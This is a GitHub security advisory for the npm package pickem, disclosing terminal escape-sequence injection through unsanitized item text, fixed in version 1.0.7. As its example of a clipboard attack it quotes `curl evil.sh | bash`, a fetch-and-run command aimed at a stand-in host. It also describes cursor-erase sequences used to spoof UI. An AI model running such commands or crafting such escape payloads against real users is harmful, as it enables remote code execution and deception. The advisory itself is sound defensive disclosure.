GHSA-8QX3-8GM5-9CJ2

Vulnerability from github – Published: 2026-08-25 15:59 – Updated: 2026-08-25 15:59
VLAI
Summary
pickem vulnerable to terminal escape-sequence injection via unsanitized item text
Details

Impact

pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.

Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:

  • OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user's clipboard; their next paste-into-shell is RCE.
  • Cursor-movement + erase (ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry).
  • BEL / C0 control flooding.

Any CLI that passes untrusted strings into pickem choices is affected.

Patches

Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.

Workarounds

Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pickem"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-150"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:59:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\npickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.\n\nBecause item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:\n\n- **OSC 52 clipboard write** \u2014 silently load e.g. `curl evil.sh | bash` into the user\u0027s clipboard; their next paste-into-shell is RCE.\n- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) \u2014 overwrite already-printed trusted lines to spoof UI (forge a \"\u2713 Verified publisher\", fake prompt, or hide a malicious entry).\n- **BEL / C0 control flooding.**\n\nAny CLI that passes untrusted strings into pickem choices is affected.\n\n### Patches\nFixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary \u2014 applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.\n\n### Workarounds\nUpgrade to \u003e= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.",
  "id": "GHSA-8qx3-8gm5-9cj2",
  "modified": "2026-08-25T15:59:11Z",
  "published": "2026-08-25T15:59:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/calebogden/pickem-oss/security/advisories/GHSA-8qx3-8gm5-9cj2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/calebogden/pickem-oss"
    },
    {
      "type": "WEB",
      "url": "https://github.com/calebogden/pickem-oss/releases/tag/v1.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pickem vulnerable to terminal escape-sequence injection via unsanitized item text"
}



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